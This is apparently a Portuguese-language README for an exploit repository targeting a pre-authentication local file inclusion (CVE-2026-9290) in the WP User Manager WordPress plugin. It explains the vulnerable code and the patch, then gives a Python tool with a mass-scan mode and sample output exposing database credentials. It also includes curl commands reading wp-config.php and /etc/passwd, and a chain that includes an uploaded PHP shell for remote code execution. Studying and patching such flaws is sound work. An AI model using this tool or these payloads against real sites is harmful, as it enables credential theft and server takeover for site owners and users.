
Local File Inclusion pré-autenticação no WP User Manager <= 2.9.17 via path traversal no parâmetro tab (CVSS 7.5)
CVE-2026-9290 é uma vulnerabilidade de Inclusão Local de Arquivo (Local File Inclusion — LFI) sem autenticação e de alta gravidade (CVSS 7.5) no plugin WordPress WP User Manager – User Profile Builder & Membership (≤ 2.9.17).
A função wpum_get_active_profile_tab() passa o parâmetro de consulta tab diretamente ao carregador de templates Gamajo, sem validação de lista de permissões. Sequências de path traversal no valor de tab permitem que atacantes não autenticados incluam arquivos arbitrários do servidor por meio do include() do PHP.
| Versão do WP User Manager | Status |
|---|---|
| ≤ 2.9.17 | Vulnerável |
| ≥ 2.9.18 | Corrigido |
Em includes/functions.php, a função wpum_get_active_profile_tab() recebe o parâmetro de consulta tab sem validação de lista de permissões:
// Vulnerable: no whitelist check on $tab value
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);
O valor é passado para Gamajo_Template_Loader::get_template_part(), que resolve e inclui o arquivo de template:
// class-gamajo-template-loader.php line 226
include($template_path . $tab . '.php');
sanitize_text_field() NÃO remove sequências de path traversal. ../../../wp-config passa direto.
GET /profile/?tab=../../../wp-config
→ wpum_get_active_profile_tab('../../../wp-config')
→ Gamajo_Template_Loader::include('../../../wp-config.php')
→ wp-config.php included → DB credentials exposed
O PR #445 adiciona validação de lista de permissões:
// Patched: check against registered tabs
if (!array_key_exists($tab, $registered_tabs)) {
$tab = 'profile'; // fallback to default
}
git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt
# Single target — LFI probe
python cve_2026_9290.py -t target.com
# Mass scan
python cve_2026_9290.py -f targets.txt -v
# Read specific file via LFI
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"
# Save results
python cve_2026_9290.py -f targets.txt -o lfi.txt
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
--read PATH Read a specific file via LFI
-o, --output Save results to file
--threads Workers (default: 25)
-v, --verbose Show detailed output
$ python cve_2026_9290.py -t target.com -v
CVE-2026-9290 — WP User Manager LFI → RCE Exploit
CVSS 7.5 | Pre-Auth | Path Traversal via 'tab' Parameter
[+] WP User Manager detected
[+] Profile page: /profile/
[+] LFI confirmed: wp-config.php (DB credentials)
[+] Content preview: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');
Host : target.com
WPUM : YES
LFI : YES
File : wp-config.php (DB credentials)
Time : 3.2s
[LFI] target-1.com 3.2s wp-config.php (DB credentials)
define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
[LFI] target-2.com 4.1s wp-config.php (DB credentials)
define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
[200/5458] 3% | WPUM:12 LFI:5 | current-target.com
Passo 1 — Detectar o WP User Manager
curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3
Passo 2 — Encontrar a página de perfil
curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'
Passo 3 — LFI via parâmetro tab
# Read wp-config.php
curl -sk 'https://target.com/profile/?tab=../../../wp-config'
# Read /etc/passwd
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'
# RCE — include uploaded PHP shell
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'
1. LFI → read wp-config.php → get DB credentials
2. Upload PHP shell via another plugin/media endpoint
3. LFI → include uploaded shell → RCE
APENAS PARA FINS EDUCACIONAIS E DE TESTES AUTORIZADOS.
Este software é destinado a profissionais de segurança que realizam testes de penetração autorizados, a organizações que auditam sua própria infraestrutura e a pesquisadores que estudam a exploração de vulnerabilidades.
O acesso não autorizado a sistemas de computador é ilegal e pode violar:
- Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonésia: UU ITE Pasal 30 & 46
- União Europeia: Diretiva 2013/40/EU
- Reino Unido: Computer Misuse Act 1990
Os autores não assumem nenhuma responsabilidade pelo mau uso.
Este projeto não é afiliado ao WP User Manager nem ao Carbon Fields.
| Arquivo | Linha | Papel |
|---|
includes/functions.php | #L955 | wpum_get_active_profile_tab() — sem lista de permissões |
templates/profile.php | #L52 | Escopo do template de perfil |
class-gamajo-template-loader.php | #L226 | include() sem sanitização |
| Recurso |
|---|
| Link |
|---|
| Advisory do GitHub | GHSA-83v9-496w-54wx |
| Advisory do Wordfence | wordfence.com |
| PR do Patch | GitHub #445 |
| Análise da IONIX | ionix.io |